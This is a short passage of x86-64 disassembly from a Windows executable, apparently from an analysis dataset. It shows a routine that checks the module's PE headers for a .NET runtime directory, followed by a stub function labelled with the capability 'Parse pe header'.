call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400017ce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400017ce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400017ce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400017ce
cmp dword [rcx + 0x84], 0xe
jbe 0x1400017ce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400017d0
xor al, al
add rsp, 0x28
ret

Function at 0x140005e10
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005c0c